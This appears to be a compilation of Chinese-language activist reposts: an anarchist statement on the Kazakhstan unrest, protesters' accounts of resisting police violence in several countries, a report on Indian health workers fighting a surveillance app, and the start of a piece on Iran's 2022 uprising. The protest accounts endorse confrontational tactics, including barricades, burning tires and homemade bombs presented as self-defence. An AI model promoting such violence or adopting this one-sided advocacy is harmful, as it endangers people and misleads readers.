哈萨克斯坦的劳动人民逐渐从2011年纳扎尔巴耶夫独裁政权组织的对无产者的可怕屠杀中恢复过来，并开始不断寻求更高的工资和建立工会以及其他工人协会的能力。大多数人的贫困、统治阶级对劳动力的残酷剥削、物价上涨、日常压迫和缺乏权利，使劳动者的处境无法忍受，迫使他们团结起来加入抗议行动。

最后一根稻草是2021年12月数万名石油工人被解雇，以 “抗击大流行病” 为借口实行 “卫生”专政，并苛刻地提高了燃气价格。1月3日，工人的大罢工在曼吉斯套地区开始，并很快蔓延到该国其他地区。在哈萨克斯坦的前首都阿拉木图，抗议者和镇压部队之间爆发了冲突；有数十甚至数百人被杀和受伤。在抗议活动中，弱势人群，主要是年轻的失业者和国内流民，实施了民众征用行动，摧毁了许多大型购物中心、商店和银行分行。在一些情况下，部队拒绝向起义者开火。

国内的抗议活动是自发的，没有经过任何协调；因此，其参与者提出了各种各样的、往往是相互矛盾的口号和诉求。我们作为无政府主义者，首先支持其中那些具有明显和明确的社会导向、并将哈萨克斯坦的罢工和起义与近年来众多的选举主义抗议和政治改良派区分开的诉求。这些要求在抗议集会和社交网络中传播：取消燃气价格的上涨；增加100%的工资；取消提高退休年龄的政策；采取措施解决失业问题；取消强制接种COVID-19疫苗的政策、取消封锁和歧视性的隔离措施，等等。

为了终结社会反抗并赢得时间，惊恐的政权被迫做出让步：宣布降低燃气价格，将“社会重要”商品的价格冻结180天，解散政府，并将事实上的独裁者、亿万富翁纳扎尔巴耶夫从哈萨克斯坦安全委员会主席的职位上撤下。但这些都无济于事。西方石油公司坚持要求托卡耶夫总统恢复资本主义秩序。国家的统治者实行紧急状态和宵禁，禁止集会和罢工，并对抗议者和革命者发起了惩罚性行动，血流成河，逮捕了成千上万的人。

应哈萨克斯坦政权的要求，以俄罗斯联邦为首的军事政治集团的一些国家的军队被带入该国镇压社会抗议活动。他们被要求履行世界资本宪兵的角色，践踏社会反叛的火焰，直到它的榜样、口号和要求传播到其他国家，被工人罢工和反对广泛的专制及其种族隔离制度的大规模抗议所吞噬。

我们，俄罗斯无政府工团主义者和无政府主义者，强烈谴责对哈萨克斯坦劳动人民的社会抗议的任何镇压，以及克里姆林宫领导的可耻的反革命外国干预。

我们谴责各种政客利用哈萨克工人的社会抗议，以便自己爬上权力的顶峰，重新分配有利于他们自己的财产的任何企图。

我们坚定地、坚决地、毫不犹豫地站在哈萨克斯坦当前的社会反抗一边，并呼吁俄罗斯和全世界的劳动人民对哈萨克表示实际的支援。

满足哈萨克斯坦工人的社会要求!

停止镇压哈萨克斯坦的抗议活动!

释放所有被捕的抗议者!

结束外国干预！

干预者可耻!

—— 无政府主义者倡议 *StopTotalControl*；*CRAS*信息委员会，*IWA*在俄罗斯地区的分部

○

Déclaration des anarcho-syndicalistes et anarchistes russes sur la situation au Kazakhstan

Казахстан после восстания

Колониализм двадцать первого века ⛓

Последствия протестов в Казахстане

原文

酷刑、殴打、法外杀戮：全世界的反抗者如何抵抗这种警察暴力？ - iyouport

反抗者-寻求经验

他们知道不能放弃-- 即使在最害怕的时候，也不能。骨头断裂的人永远比意识断裂的人愈合得更快。

世界各地的警察部队都在彼此分享如何镇压抗议活动的战术 —— 抗议者也需要这样做来保护自己，否则您很难成功。这就是为什么我们在列表-5 中设置了 “维稳面面观” 和 “反抗者寻求经验” 的板块。

今年早些时候，一项新的 “警察、犯罪、判刑和法院” 法案的出台，在英国引发了全国性的抗议活动，但却遭到了强烈的镇压。当活动家在街头面对暴力的警察部队时，意大利诺瓦腊开始转向世界其他地区，从他们的共同斗争中获得学习。

这就是全球反抗者的联盟。

以下内容均来自于当地反抗者，以第一人称叙述。我们加入了一些相应的技术知识。

MM 缅甸

「图」

下面的文字来自仰光一名24岁的非政府组织工作人员，他们两个月来每天都在进行抗议。

> “找一个*VPN*，在 *Signal* 上组织起来，用可口可乐洗掉催泪瓦斯，拍下一切。”

在缅甸，自2月1日军方夺取政权以来，人们一直在全国各地进行抗议。每天都有数十万人走上街头，反抗警察和士兵，他们用任意逮捕和暴力恐吓民众。现在已经有大约**550**人被杀，其中大部分是在示威期间被枪杀的抗议者。

我们不得不迅速、灵活和创造性地组织起来，因为当局一直试图镇压组织活动，包括每隔一段时间就关闭移动数据和无线网络。

【注：全世界的统治阶级都擅长这样做，即 在群体事件发生时先断网再镇压，以切断活动家与外界的联系，也阻止了活动家彼此间的协作，人们被分散开，更难以集体抵御镇压。于是关于如何在断网的情况下继续工作，对反抗者来说很重要。您可以在这里看到具体技巧；以及这里。】

起初，我们使用 Facebook 群组来协调抗议活动，但这使得警察太容易渗透了，也太容易抓到组织者（其中许多人已经被抓捕和监禁，而有些人被折磨、甚至被杀害）。

【注：关于渗透是如何操作的，以及如何防止渗透，见这里。】

因此，现在我们使用VPN来伪装我们的位置，并使用安全的信息传递应用程序如 Signal 等进行交流。我在群组中发帖，但要进入这些群组，你必须由一个能为你担保的朋友添加，所以，召集就像滚雪球一样。

一些活动人士更加谨慎，他们更愿意只通过口耳相传的方式传递信息，以连锁的方式—— 从一个受信任的人到另一个人，后一个人不知道前一个人的信息来源。这样一来，如果有人被抓，他们就无法在刑讯逼供中出卖队友。

每天，年轻的活动家们都会想出新的点子来保持势头。今天，人们到处涂抹红漆以代表勇气。在复活节的周日，人们在鸡蛋上写下抗议口号。上个月，为了庆祝国际妇女节，他们把女性的裙子挂在电线杆和晾衣绳上，因为那些男人—— 包括警察和士兵—— 太迷信了，他们不敢在裙子下行走，担心会 “沾染霉运” 丢掉他们的权力。

【注：我们曾介绍过缅甸的内裤行动，见《内裤的力量：创造性行动和4点经验》。文化地形很重要，它不仅可以提升动员能力，而且可以成为战术工具。相关原理见《了解你的地形是策划行动的第一步》。】

在街道上，我们为前线的人们提供临时盾牌，以保护他们不受橡皮子弹的伤害，并提供防毒面具以应对催泪瓦斯。在后方，有一个小组专门负责用水罐和湿毯子来中和催泪弹。当我们的眼睛真的被催泪瓦斯喷到时，我们发现可口可乐是最有效的清洗工具。

【注：相关防护措施见《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》；以及更为深入的，《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》。】

我们有时用烟花来吓唬警察，用巨大的噪音来分散他们的注意力，我们还烧轮胎来制造烟雾以掩盖自己。我们用路障封锁街道。所有这些东西都在一定程度上起作用，但有时我们能做的就是逃跑 —— 警察和士兵使用的是实弹，面对他们的枪，我们没有办法保护自己。

【注：更多相关战术见《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》。】

将军们没有得到人民的任何支持。他们通过国营媒体进行宣传，但显然都是荒谬的谎言；看了很奇怪，因为大家都知道真相。同时，他们还禁止独立媒体，打击记者。因此，我们不得不依靠公民记者，他们用手机记录正在发生的事。这些人中有很多现在也被拘留了，但总有更多的普通人站出来。新闻机构开始依赖公民记者的视频和照片，我们在社交媒体上分享。

【注：我们的 列表-3中有培训公民记录者的详细资料。您还可以在这里看到最基本的须知《灾难中捍卫人权的技巧指南》。】

- 更多相关内容见《用群众维稳群众：殴打抗议者是一个赚快钱的捷径...》

GR 希腊

「图」

以下文字来自一位雅典的活动家和学者。

> “组成集团，团结起来，戴上面具，留下涂鸦痕迹，
> 收集证据 —— 不要放弃。”

在过去的一年里，希腊断断续续地处于全国封锁状态，目前的封锁期已达五个月。通过一些紧急措施，如夜间宵禁，公民自由和行动自由受到了严重的限制。人们只有在向相关监督机构发送短信后，才可以在有限的时间和特定的理由下离开自己的房子。警察负责执行这些措施，导致了许多滥用权力的事件。

同时，政府还通过了不受欢迎的立法，对学术机构进行监控，并违宪

地将抗议的自由定为犯罪。警察对任何形式的抗议 —— 从要求更多个人防护设备的医疗工作者到反法西斯/亲民主行动，再到最近的学生抗议 —— 的反应都是零容忍，而且经常过度使用暴力。

- 详细内容见《“我们对警察的憎恶把我们团结在一起”》

警察的暴力和暴行可以追溯到希腊警察部队的起源。自2008年12月因警察谋杀 Alexandros Grigoropoulos 而引发的起义以来，希腊警察部队一直在采购越来越多的装备，实际上将其变成了一支军事化部队。警察的暴力行为在很大程度上仍然不受法律监督。

在希腊，公众抗议仍然是抵抗的核心。抗议活动经常留下涂鸦痕迹，为手头的问题创建了一个可见的城市档案 —— 无论是难民权利、警察暴行、气候崩溃、LGBTQ权利或囚犯权利 —— 这些问题经常被主流媒体忽视。

活动家，以及越来越多的邻居和路人，用手机拍摄警察暴力事件，通过社交媒体和民主友好的媒体进行传播。最近几个月的一系列暴力事件，完全是由于公民在其社交媒体上分享录像，然后被国家媒体报道而进入公众视野。当被捕者被错误地指控为袭击警察时，社交媒体的视频往往在法庭上很有帮助。

【注：请注意，并非所有社交媒体上记录的视觉资料都能咋子法庭上被信任，法庭采纳证据的标准是非常严格的。但您依旧可以让自己的记录达到这样的标准。具体方法见《公民取证技巧：如何留住真相？》。在 列表-3 “让它民主” 中看到更多。】

在大规模抗议活动中，遇到警察袭击时的主要战术仍然是尽可能地团结在一起，有秩序地撤退。在某些情况下，抗议者会努力将警察逼退，让人们有时间撤退。最近，一个政治团体看到他们的一名成员被警察非法拘留并被毒打数日，决定集体对警察提起诉讼。

警察的暴行是众多暴力中的一种形式。参与权利团体的活动家和学者的车辆被安装了跟踪装置，活动家的名字和车牌号被晒出来，从而被人肉。主要的反抗行为之一不是惊慌失措，而是让人们知道这些镇压手段 —— 并继续进行社会和政治参与。

【注：关于如何阻止人肉威胁《给活动家的反人肉指南》；以及《如何知道有人正在线人肉你？6个简单的方法》】

人们最近加入了安全通信网络，如 Signal，在涉及个人安全和保障时

变得更加谨慎。当走上街头时，大多数人都至少有一条围巾来遮盖自己的脸，并保护自己免受催泪瓦斯的伤害。他们使用胃部抗酸剂，如 Maalox 或 Riopan，以尽量减少催泪瓦斯造成的刺痛。

【注：使用安全通信工具并不是安全性的的全部，请随时记得，最大的危险是人。人的思维行为漏洞是技术无法帮助解决的。关于 **Signal** 和其他同类安全工具，您必须知道一些事，见《如何才能安全地使用端对端加密（比如Signal）：准则》。】

希腊的活动家知道不能放弃 —— 即使在最害怕的时候，也不能。骨头断裂的人永远比意识断裂的人愈合得更快。

这不是随便说说的；在过去的一年里，像27岁的 Vassilis Maggos 这样的人在希腊死于警察的殴打。尽管如此，为正义而进行的集体动员是反对警察暴行的最有效方式之一，也是对抗系统性抑郁的最佳补救措施之一。如果对警察虐待的恐惧战胜了对言论自由和参与社会对话的渴望，我们实际上是在谈论独裁主义的胜利。

美国

「图」

以下文字来自 Jasson Perez，美国DSA的活动家。

> “街头抗议的目的是控制街道 —— 不要试图与警察协调，只需要致力于阻止他们”。

作为一个曾经被监禁的人，我在美国从事废除运动的组织工作——反警察、反监禁的组织工作—— 大约有20年了。街头抗议一直是其中的一个重要部分，在2014年密苏里州弗格森市警察开枪打死迈克尔·布朗后，抗议活动不断升级。

【注：更多内容见《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》】

组织者的一个关键考虑是如何建立具有长效性的运动。

大规模的抗议活动往往是自发爆发的，但为了建立强大的运动，我们就需要持续的运动，如阻止为警察提供资金的运动或针对警察的持续的直接行动运动。

【注：关于什么是直接行动，见《直接行动分步指南》；关于如何让

您的运动具有生命力，见《如何才能让一个革命战略持续存活下去：行动主义（5）》；以及《炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗》。】

这些运动应该扎根于组织，是的 —— 但它们也应该向所有人开放。它们可以使我们长期加强运动，无论是在战术方面，如运行一个定期的直接行动培训计划，还是在更广泛的政治教育方面，如警察暴力和资本主义之间的关系，警察暴力和气候危机之间的关系，等等。

我所在的派系认为，街头抗议的目的是为了控制街道。我们在那里不是为了让警察控制街道，我们也不是为了与他们协调。一旦你与警察协调，你就不再是在做大规模的公民抗命 —— 你是在做一场表演。

因此，就战略而言，我认为，就像罢工旨在关闭工作场所，或气候抗议旨在关闭化石燃料基础设施那样，废除死刑的抗议活动组织者应该通过将警察和警察机构作为抗议的目标以关闭警察局。

关于在抗议活动中抵制警察暴行的技巧，一种战术是试图营救其他抗被捕的议者。如果你的一个朋友被抓起来了，特别是如果警察很暴力，你的首要任务就是让尽可能多的队友迅速集中起来挡在你的朋友和警察之间；然后需要致力于让警察被越来越多的抗议者包围，高呼 “放开他们，放开他们”，以便尽可能地给警察施加压力，如果警察的人数过少，他们就会挨不住压力而放人。不过，这是需要练习的 —— 这是抗议者成功的唯一途径。

【注：即便警察人数多于反抗者，并且他们采用了暴力的大规模逮捕行动，您也可以继续利用这一势头，见《充分利用大规模逮捕，以及被捕后怎么办：示威参与者指南（7）》。】

P S 巴勒斯坦

「图」

以下文字来自 Riya Al’Sanah，巴勒斯坦研究员，WhoProfits 研究中心的研究协调员。

> “了解警察的背景，建立一个跨领域的群众运动，并保持希望。”

大约200万巴勒斯坦人生活在 Palestine ’48（即 今天的以色列）。在这里，统治我们的以色列定居者—— 殖民国家的安全部门 —— 是以

色列警察；在西岸和加沙，它是军事统治。

【注：在这里看到详细介绍《“你们站在正义的一边”：在世界上最大的开放式监狱加入起义》；以及《抱歉，反犹太复国主义仍然不等于反犹主义》。】

在 Palestine ‘48，以色列警察一直在以两种具体方式增加暴力和镇压巴勒斯坦人。一种是通过促进巴勒斯坦社区内的武器传播来鼓励社区内的暴力，这在过去的五六年里大规模增加；另一个是在其种族化的警务工作中针对巴勒斯坦人。

就在几天前，来自海法的33岁的 Munir Anabtawi 患有精神健康问题，在他妈妈打电话让其他人帮忙送他去医院的途中，他被以色列警察射杀。 **Anabtawi** 身中五枪 —— 三枪在背部，两枪在胸部。他需要得到照顾，但却被以色列警察处决。而且这并不是一个单一的案例。仅在**2012–2017**年间，被以色列警察杀害的人中就有**70%**是巴勒斯坦人，尽管他们整体只占以色列人口的**20%**。

【注：在这里看到这些故事《先开枪，再问问题：来自世界各地的警察暴力》。】

该运动现在所做的是将这些数字纳入背景，并将其政治化。我们不是在谈论警察改革。我们谈论的是警察作为我们所处的以色列定居者殖民国家的固有机构，它将巴勒斯坦人 —— 不仅仅是在 Palestine ‘48，还有在西岸和加沙 —— 作为一个集体来控制、调查和镇压。警察永远不会保护我们，以色列国家更不会为我们伸张正义。因此，问题变成：我们如何建立自己的机构和结构来保护自己？这与过去**20**年里巴勒斯坦政治领导层的某些部门所推动的融入国家轨道的趋势完全不同。

今天的运动正在努力发展替代性的政治和权力建设方式，不仅是为了在此时此刻保护我们自己，而且是为了建立一个更自由和更公正的未来。很多组织工作都发生在一个叫乌姆阿法姆的城市，在过去的两个月里，那里一直有公众集会和每周的大型示威活动。值得注意的是，在这段时间里，该市的暴力水平大幅下降。

我对反抗运动的组织者有三条建议：第一是将你对警察暴力的根源的分析从警察机构扩大到国家；第二是建立一个群众运动，关注警察暴力的多层次性质，以及它如何与种族、阶级和性别交织在一起；第三是把希望放在我们的运动中。我们参与斗争并不只是为了拆除使我们生活痛苦的压迫和剥削结构，而是为了建立一个更好的未来。抵制警

察的暴行并呼吁废除警察暴行是这一过程的一部分。

- 如果您错过了《从以色列对巴勒斯坦抗议者动用的大规模监视中学到一些东西》

N G 尼日利亚

「图」

在我的记忆中，警察的暴行一直是尼日利亚日常生活的一部分 —— 警察开枪，警察在检查站伤害平民。随着该国臭名昭著的警察部队 —— 特别是 SARS —— 的虐待行为的新披露，以及大多数尼日利亚人经济状况的恶化，去年10月爆发了一场反对 SARS 和更广泛的经济不平等的巨大抗议运动。

随后，#EndSARS 抗议活动本身也成为前所未有的国家暴力的场所。10月20日，一群坐在拉各斯莱基收费站的年轻抗议者被屠杀，军车封锁了两个出口并开火。第二天，在拉各斯和全国各州，又有数百人被杀死。虽然政府否认了伤亡情况，但这一暴行导致全国范围内的抗议活动加剧，其间，知名政客囤积大量 Covid-19 救济物资的住宅和仓库被愤怒的抗议者冲击和洗劫。

然而，尼日利亚的抗议者一直把持着一些重要的东西。其中一个是社交媒体：成千上万的年轻人用智能手机拍摄警察暴力事件的照片和视频，并将其上传到 Facebook、Instagram 和 Twitter，在揭露警察的暴行方面发挥了关键作用。更重要的是，这些视频还揭露了政府的谎言，以至于尼日利亚的政治阶层完全失去了信誉。

同样重要的是要强调女性的作用—— 特别是女权主义联盟，其中许多人是在国际上工作的 —— 在维持抗议运动方面的作用。该联盟筹集了数十万美元，以支持抗议者，包括提供食物，为被捕者支付法律援助，并支付伤者的医院费用。

虽然英国的警察暴力显然与尼日利亚的情况非常不同 —— 尼日利亚的警察更加残暴，也更加腐败 —— 但在维持运动所需的条件方面，这里有重要的经验教训。

C L 智利

「图」

以下文字来自 Claudia Mendez，一位参加了2019年10月开始的抗议活动的活动家。

> “协调和分配角色，阻止催泪弹，收集砖块，建立路障。”

警察的暴行在2019年10月18日学生领导的 “Estallido Social” 抗议活动后达到顶峰，引发了我们现在仍然看到的暴力。但警察对贫穷阶层的虐待一直存在。现在这种虐待只是更加明显了：数千人因橡皮子弹而失去了眼睛；**40**人死亡；数千人被逮捕。警察对马普切人的暴力也很可怕，他们的领土已经被完全军事化。

【注：在这里看到智利的故事《从独裁到民主，反抗的火焰—48年》】

许多因素引发了10月18日的大型抗议活动。有深刻的经济不平等：基本服务的私有化，低工资，社会住房、公共教育和公共医疗方面的许多问题。还有许多环境问题：自然资源的开发，森林砍伐，水资源短缺。

这是一场工人阶级的运动，在很大程度上是对政党的不满。有一个非常激进、强大的年轻活动家群体 —— “La Primera Línea”[前线]，即圣地亚哥市中心 “尊严广场” 上的抗议者。他们一直保持着持续的抵抗，与警察进行密切的斗争。正因为如此，和平抗议也是可能的。

有新的协调形式：人们有不同的角色 —— 例如，有些人负责拆除催泪弹，有些人负责收集砖块。似乎也有自发的组织。在圣地亚哥的外围，贫困地区，有许多路障，年轻人在那里等待警察并与他们对抗。

在即将举行的选举中，人们将投票给所谓的 “选民”，他们将撰写新的宪法—— 据说这是 Estallido Social 的胜利。但许多人认为这是一种让步，因为独立候选人很难得到机会。围绕选举有太多的不信任和不满，所以作为一种抵抗战略，这可能是徒劳的。也许这将在大流行之后，产生另一个 Estallido Social。

CO 哥伦比亚

「图」

以下文字来自 Juan David Páramo，一名医疗志愿者，自2019年以来一直活跃在抗议活动中，尤其参与了2020年9月反对警察暴力的抗议

活动。

> “使你的战术多样化，包括集会、游行、罢工、对抗、路障和占领高速公路。”

哥伦比亚人最近看到了公共生活的军事化，以及利用国家结构来压制批评的声音。这些政策针对的是年轻人和任何批评既定国家秩序的人。在这种情况下，创建了 ESMAD [移动平暴中队]—— 这是一支维稳部队，因谋杀和渎职而面临严重的批评。其目的是平息公共骚乱。

在抵制警察暴力的策略方面，我们有所谓的 “集体行动剧目”—— 集会、游行、罢工、’tropeles’[与警察对峙]、路障和占领高速公路，我们现在看到的是之前所有的抗议活动的高潮 —— 1977年的公民罢工，曾经公立大学的斗争。这些经验都被用来捍卫和加强运动。

一个名为 “蓝色盾牌”（los escudos azules）的团体最近成立，目的是保护运动免受警察的攻击。这些年轻人戴着头罩来保护自己；例如，由于面临[催泪瓦斯]造成的眼部创伤，如今越来越多的抗议者穿上了防护服。该运动战略的另一个重要方面是拥有涵盖人权、通信和健康的 “团队”，这是从哥伦比亚的农民和原住民抵抗运动中汲取的经验。

【注：关于头盔的选择，见《了解头盔和使用技巧：示威参与者指南（2）》】

当人们变得不再害怕与警察对抗时，暴力就会升级。大多数时候，抗议者会投掷石块 —— 然后ESMAD赶到，发射含有弹丸和玻璃的子弹，这些子弹已经夺走了许多人的生命。其他时候，抗议者会投掷自制的土炸弹。这当然是有风险的，但你必须根据你所面对的情况来评估这种风险。如果当局非常暴力，抗议者往往需要使用这些战术进行自卫。

【注：在这里看到详细介绍《“他们认为杀几个人就能制服我们，而我们变成了数百万人”》。】○

POLICE BRUTALITY: HOW PROTESTERS RESIST STATE VIOLENCE AROUND THE WORLD

原文

防疫战士对战监视制度：他们赢了 - iyouport

反抗者-寻求经验

被强制安装侵入性监控的应用程序这种事，中国读者应该很熟悉了。但与这个故事不同的是，目前为止，中国社会还没有对此进行正式的反抗。

5月29日，印度北部哈里亚纳邦的一名经认证的社会健康活动家 (ASHA) Sarbjeet 被叫到她在凯瑟尔区的当地初级保健中心，她当时以为是每月一次的例行会议。但是在这次会议上，经理要求 Sarbjeet 和她的同事们必须安装一个追踪他们一举一动的应用程序。

Shield 360 应用程序由中央邦的一家私营公司 Advantal Technologies 创建，旨在监测和更新ASHA工作人员的日常工作目标，但该应用程序还通过**GPS**实时跟踪**ASHA**人员的行动，甚至监视他们对其他应用程序和互联网的使用。**Shield 360** 还允许卫生部门官员将该应用与政府管理的农村医疗机构的计算机系统连接起来，并远程添加、删除或更新这些工作手机上的任何信息和移动应用。

“我们都安装了它，因为当时我们对这个应用程序一无所知”，40岁的 Sarbjeet 回忆说，她是哈里亚纳邦一个拥有22000名成员的ASHA工作者工会的秘书。Sarbjeet 说：“我的朋友注意到，位置权限被自动打开了，她活动的每个细节都被显示出来了。感觉就像把我们手机的遥控器交到了他们手里一样。”Sarbjeet 在指导一名孕妇进行妊娠检查。

Sarbjeet 要求不使用她的姓氏，她已经做了十年的ASHA。她是来自凯瑟尔(Kaithal) 的900多名女工之一，她们在没有被告知其跟踪功能的情况下被强迫安装了这个应用程序。大约11000名ASHA工作人员 —— 占哈里亚纳邦劳动力的一半 —— 也在5月份被召集到当地的初级保健中心开会，并在他们的手机上强行安装了 Shield 360。

在过去几年中，印度政府已经多次因使用技术监视和跟踪低收入工人的行为而臭名昭著，受害者中包括医疗保健人员、环卫工人和农村儿童保育员。

2020年3月，潘奇库拉市的环卫工人被要求佩戴配备有监视摄像头和麦克风的智能手表，以便监管人员能够随时听到并看到他们在干什么。这种腕带可以确保工人们呆在指定的区域内，也已经被推广到了其他城市，包括昌迪加尔和那格浦尔。

7月，妇女和儿童发展部强制要求印度各地的农村儿童保育员下载一个名为 Poshan Tracker 的应用程序，该程序能够实时监测新生儿及其母亲的食品福利。政府威胁说，如果农村儿童保育员拒绝下载该应用程序，将扣除他们的工资—— 一些人对这一规定提出了抗议。Sarbjeet 在 Kaithal 区的初级卫生中心指导患者。

印度的90万名 ASHA 工作人员是协助该国混乱的农村医疗系统顺利运作的引擎。他们在所服务的当地社区生活和工作，受到有时对外来者有敌意的民众的信任。冠状病毒大流行在印度正式导致40多万人死亡，这使ASHA人员的非凡作用成为焦点，他们作为政府和当地人之间的中间人在基层开展工作：从建立疫苗接种营、为Covid病人计划家访、到揭穿有关冠状病毒的错误信息。哈里亚纳邦的ASHA人员通常每月工资仅为55美元，以及一点点对额外工作进行的奖励性支付。

印度的数字权利活动家认为，像**ASHA**这样的低收入工人被置于这样一种境地，即：他们感到压力，不得不同意在其电子设备上安装监控软件。人权组织 ARTICLE 19 的高级项目官员 Vidushi Marda 说："这是在以真正有问题的方式集中权力，特别是因为这些技术被引入到已经有巨大权力差异的关系中"，她在那里领导关于机器学习对人权影响的研究，她说，"甚至不存在选择错觉。这几乎就等于，如果你想养家糊口，你就必须接受监视"。

动员和抗议

「图」

这一切都始于对智能手机的需求。2020年4月，多个州的ASHA工作人员被要求挨家挨户地进行调查，以编制一份可能处于 "Covid-19高风险" 的个人名单。**ASHA**被要求使用一个应用程序去收集信息，而不是保持他们通常的手工记录。由于买不起智能手机，他们开始要求政府给他们配备工作用的智能手机；许多人甚至借用或购买二手设备。

"他们把我们所有的工作都搬到了网上，而我们都没有相应的设备"，另一位ASHA和哈里亚纳邦ASHA工人联盟的负责人 Surekha 回忆道："一旦政府向我们提供了智能手机，我们就开始在网上工作，做

Covid调查。他们为我们创建了应用程序，我们就下载了这些应用程序”。

喜马偕尔邦等地的ASHA在几个月后就得到了智能手机。然而，在哈里亚纳邦，几乎一年过去了，2021年5月，政府才向该邦的所有22000名ASHA人员发放了智能手机。

医护人员最初使用 Asha Survekshan 和 ASHAPay 应用程序来上传 Covid-19 的调查，并接收他们的月薪，但接下来就是 Shield 360 了，整个哈里亚纳邦的数千名 ASHA 被迫安装。“这个应用程序甚至阻止了其他应用程序，包括我们手机上的 **YouTube** 和 **Facebook**，我们最初对此并不在意。但是后来当局告诉我们，他们可以对我们的手机进行远程更新，可以远程删除任何东西”，Surekha 说。

由于对该应用程序的远程访问感到震惊，Surekha 咨询了一些当地的IT专业人士，以了解 ASHA 工作人员正在陷入什么危险。这些技术专家明确告诉她，Shield 360 是一个“监视应用程序”，会跟踪他们的每一个动作。

随着 Shield 360 的消息传开，一些助产士在 YouTube 视频上发表评论，抱怨自己的手机相机无法工作，而其他许多人则在网上讨论，一旦安装了 **Shield 360**，**Facebook** 等应用程序就会被自动屏蔽。

这激怒了 Surekha，她和其他工会领导人一起找到她的部门经理，表达他们对该应用程序的担忧。他们被告知，该应用程序“不会侵犯他们的隐私”，而且助理保健师有义务在他们的工作手机上保留该应用程序。经理们也进行了威胁。“他们说，如果助理保健员不下载该应用程序，那么我们将不得不归还手机—— 这基本上意味着我们将无法工作”，**Sarbjeet** 说，“他们还要求提供拒绝在手机上安装该应用程序的工人的姓名，说他们可能会面临更严重的影响。”

Advantal Technologies 的销售总监 Ashish Thakral 说，Shield 360 应用程序将被推广到其他政府智能手机上，确保这些设备不会被滥用，并有助于提高效率。他说：“你不应该将政府设备用于 WhatsApp 和 Telegram，这就是安装该应用程序的原因—— 这样，这些设备就可以确保被用于它们被赋予的目的。”

当局并不否认，Shield 360 让管理人员可以远程访问这些手机。“这个应用程序的想法是为了跟踪 Asha 工人的工作”，国家健康任务的州协调员 Chand Singh Madaan 告诉《印度时报》说，“这些手机是为官方使用的。它将帮助我们监测工人是否滥用它。此外，它还将帮助

我们跟踪工人面临的技术问题，并更新他们的应用程序或增加新的功能”。Sarbjeet 的主管在培训她使用HVGHCS应用程序，现在ASHA工作人员必须在 Kangthali 村的日常工作中使用该应用程序。然而，由于政府一直试图记录他们的一举一动，并给他们提供手机以方便他们的工作，所以ASHA工作人员仍然必须保持多种记录 —— 在手机应用程序和登记簿上同时进行。

由于不相信管理人员的回应，Surekha 和其他人决定在6月初自行处理此事。关于计划中的抗议活动的信息开始涌入多个 **ASHA WhatsApp** 群。**Surekha** 在一个有**55**个州级工会领导人的群组中发布了抗议活动的细节，并在谷歌会议上进行了虚拟通话。抗议的消息很快传到了其他 **ASHA WhatsApp** 群组。

6月**25**日的一天，抗议活动将动员工作推向了高潮**——** 在 **Sarbjeet** 首次安装该应用程序后的近一个月。哈里亚纳邦22个地区的 **15,000** 多名**ASHA**工作人员举行了多地的静坐抗议。Sarbjeet 记得她和500名ASHA同伴聚集在一个公园里，穿着红色制服，步行30分钟到达首席医疗官的办公室，在那里他们坐下来，举着自己的智能手机，要求当局收回手机。

这次静坐起了作用—— 管理人员不再要求ASHA工作人员保留手机上的 Shield 360，并暂停了任何进一步的安装。

Sarbjeet说：“我们的抗议活动只有一天，但它是成功的”。“ASHA们非常愤怒，因为感觉我们的隐私被打上了问号，几乎所有的人都在场，以示愤慨。”

然而，即使哈里亚纳邦当局没有回过头来强迫更多的ASHA安装 Shield 360，但问题似乎还远未结束。

Sarbjeet 说，当她最近向她的地区协调员核实时，她被告知她手机上的应用程序在计算机系统中继续显示为“活动状态”，即使它表面上看起来已经从手机中卸载了。“我们现在都在讨论如何处理这个问题”，Sarbjeet 说。

换句话说，这个应用程序无法通过简单删除来卸载。〇Kaithal 区的一群 ASHA 工作人员，他们必须安装 Shield 360 应用程序。

How healthcare workers in India fought a surveillance regime and won

原文

除了革命，别无他法：伊朗起义2022 -- 终结资本主义父权制的战斗 - iyouport

反抗者-寻求经验

西方企业媒体对这场起义的操纵性宣传旨在推广一个反动的替代方案，他们在努力抹杀这场革命的真正意义。他们为什么要这样做？

2022年9月16日，德黑兰的道德警察谋杀了一名22岁的女性；据称，她没有按照伊朗国家政策的规定戴头巾。作为回应，伊朗各地的人们走上街头集体抗议了近两周，与警察对峙，开辟了不可治理的自由空间。对伊朗的许多人来说，似乎正在进行一个革命进程。

本文与专注于伊朗斗争的反资本主义和反独裁组织 “Collective 98” 合作，采访了伊朗和库尔德的女权主义者，以了解具体情况。Collective 98 的名字来源于 “Aban” 98，即 2019年11月（根据伊朗历法，1398年）在伊朗各地蔓延的起义。在下面的文字中，他们探讨了这次起义浪潮的历史意义，以及启动它的力量。

由于新闻报道和社交媒体的标签，引发这场运动的女性被广为流传的名字是 “马赫萨·阿米尼/Mahsa Amini”。而事实上，她的库尔德名字是吉娜/ Jina；这是她的家人、朋友和整个伊朗库尔德斯坦的人都知道的名字。伊朗的库尔德人—— 作为一个少数民族—— 通常会选择一个波斯语的 “第二予名” 来掩盖他们的库尔德人身份。在库尔德语中，**Jina** 的意思是生命，是一个政治概念，最初出现在库尔德妇女自2013年以来在土耳其和罗贾瓦的库尔德地区流行的口号中，并成为这一轮斗争的中心语：**Jin, Jian, Azadi [“妇女、生命、自由”]**。

从伊朗的起义到俄罗斯的反战抗议，从保卫 Exarcheia 到抗议美国反变性政策的学生罢课，抵制父权制一直是对抗资本主义和国家的根本。伊朗的胜利将激励世界上其他地方的一系列类似斗争。

要了解伊朗的事态发展，我们推荐 SarKhatism/ 和 Telegram 上的 Blackfishvoice（都是波斯语）；以及网站 Slingers Collective 和

Kurdistan Human Rights Network（都是英语）。

【注：Exarcheia 是希腊雅典的一个街区，街道上装饰着具有政治色彩的壁画，还有无政府主义主题书店和销售稀有唱片及古董吉他的商店。酒吧和俱乐部有伦贝蒂卡音乐（希腊布鲁斯）、爵士乐和朋克摇滚乐等现场音乐表演。“保卫 **Exarcheia**”运动 是反对生活成本暴涨和反对士绅化。】

请记得，她叫吉娜·阿米尼 **Jina Amini**， “***Jina***”的意思是“生命”

